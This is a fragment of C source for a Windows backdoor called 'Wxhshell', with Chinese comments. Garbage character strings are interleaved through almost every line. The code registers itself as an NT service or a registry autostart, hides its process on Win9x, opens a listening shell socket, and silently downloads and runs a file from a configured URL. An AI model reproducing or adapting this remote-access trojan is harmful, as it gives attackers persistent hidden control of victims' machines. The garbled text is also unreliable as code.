&cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EK&";(x2( @# =yC.s CloseHandle(hProcess); ^[&,MQU{7 WjBH2 v if(strstr(procName,"services")) return 1; // 以服务启动 Zi?:< H} I!#WXK return 0; // 注册表启动 fg7 } ix hF,F V.%LA.8 // 主模块 Wo(m:q(Om int StartWxhshell(LPSTR lpCmdLine) ]N2!
'c { OZ33w-X< SOCKET wsl; Z,tHyyF?j BOOL val=TRUE; nYR#Q| int port=0; f/QwXO-U struct sockaddr_in door; S5kD|kJ R.?PD$;_M if(wscfg.ws_autoins) Install(); 0(>3L : nu)YN1
* port=atoi(lpCmdLine); FJ{/EloF \a4X},h\ if(port<=0) port=wscfg.ws_port; T^F83Py< &=f?:UZ% WSADATA data; G`;\"9t5h if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (xE |T f q65]bs4M if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ftKL#9,s( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NG`Y{QT6N door.sin_family = AF_INET; UM`{V5NG# door.sin_addr.s_addr = inet_addr("127.0.0.1"); w+r).PS}C door.sin_port = htons(port); t3!OqM t(dVd% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L[Ot$ closesocket(wsl); %|%eGidu return 1; NMQG[py!f } IMncl=1 D.-G!0! if(listen(wsl,2) == INVALID_SOCKET) { 9]{va"pe7 closesocket(wsl); ( et W4p return 1; 6O,:I } in5e * Wxhshell(wsl); l p(D@FT WSACleanup(); -Lq2K3JHyn V1,/qd_ return 0; g*(z.
LuHRB}W } ;aj;(Z.p) AloL+eN@ // 以NT服务方式启动 ^_i)XdPU VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b;{"@b,Y { Zk/ejhy0 DWORD status = 0; s7HKgj DWORD specificError = 0xfffffff; 3HBh
3p5 +q;{%3C serviceStatus.dwServiceType = SERVICE_WIN32; E
.28G2& serviceStatus.dwCurrentState = SERVICE_START_PENDING; ya{`gjIlW serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z#B}#*<C serviceStatus.dwWin32ExitCode = 0; 3y+~l
H: serviceStatus.dwServiceSpecificExitCode = 0; [u$|/ serviceStatus.dwCheckPoint = 0; jf- XVk5q serviceStatus.dwWaitHint = 0; uI9*D) QeC\(4? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BWvM~no if (hServiceStatusHandle==0) return; iC5HrOl6U .drY status = GetLastError(); FZO&r60$E if (status!=NO_ERROR) h`n '{s { jpO0dtn3= serviceStatus.dwCurrentState = SERVICE_STOPPED; KS<@;Tt serviceStatus.dwCheckPoint = 0; :V5 Co!/+ serviceStatus.dwWaitHint = 0; BWQ`8 serviceStatus.dwWin32ExitCode = status; SMIDW}U2S serviceStatus.dwServiceSpecificExitCode = specificError; <F(S_w62 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4].o:d;`/ return; 6dmb
bgO) } !'~L dl Y,GlAr s4 serviceStatus.dwCurrentState = SERVICE_RUNNING; >Oj$Dn= serviceStatus.dwCheckPoint = 0; uS,?oS serviceStatus.dwWaitHint = 0; u:lBFVqk if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 38T]qz[Sn } Y.) QNTh d,N6~?B // 处理NT服务事件,比如:启动、停止 -(F}=o' VOID WINAPI NTServiceHandler(DWORD fdwControl) B1J,4 { 1;1;-4k7I switch(fdwControl) wn?oHz* { BO4;S/ O case SERVICE_CONTROL_STOP: ~] V62^0 serviceStatus.dwWin32ExitCode = 0; @'}2xw[eU serviceStatus.dwCurrentState = SERVICE_STOPPED;
Z^2SG_pD serviceStatus.dwCheckPoint = 0; D4@?>ek6U serviceStatus.dwWaitHint = 0; P7b"(G% { :e=7=|@7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0RtZTCGO } zN!yOlp5 return; O5vfcX4> case SERVICE_CONTROL_PAUSE: n}F$kyI serviceStatus.dwCurrentState = SERVICE_PAUSED; 2w3LK2`ZL break; ]|eMEN[' case SERVICE_CONTROL_CONTINUE: >oWPwXA serviceStatus.dwCurrentState = SERVICE_RUNNING; 'DVn /3?X break; Be]z @E1x case SERVICE_CONTROL_INTERROGATE: AV2Jl"1)z break; b#p0s?* }; "hI"4xSg SetServiceStatus(hServiceStatusHandle, &serviceStatus); H[p~1%Lq } U5N |2 fsPNxy"_ // 标准应用程序主函数 y>0 @. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @}H'2V { `Wjq$* ;"Qq/knVL // 获取操作系统版本 0J'Cx&Rg OsIsNt=GetOsVer(); W|@SXO)DY GetModuleFileName(NULL,ExeFile,MAX_PATH); AZhI~QWo qjkWCLOd // 从命令行安装 9ThsR&h3 if(strpbrk(lpCmdLine,"iI")) Install(); w9GY/] u`Nrg< // 下载执行文件 `Zo5!"' if(wscfg.ws_downexe) { yC5>k;/6#K if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _ymSo`IvR WinExec(wscfg.ws_filenam,SW_HIDE); cJq{;~ } EH2): lshSRir if(!OsIsNt) { ym6Emf] // 如果时win9x,隐藏进程并且设置为注册表启动 sq#C|v/ HideProc(); U:$zlfV StartWxhshell(lpCmdLine); n8!|}J } cwaR#-# else 2i!R>` if(StartFromService())
~m=Z>4M // 以服务方式启动 6Zw$F3 < StartServiceCtrlDispatcher(DispatchTable); u;^H =7R else [= E=H*j // 普通方式启动 vFJ4`Gjw( StartWxhshell(lpCmdLine); HI D6h! 8q9^ return 0; `_Iyr3HAf }
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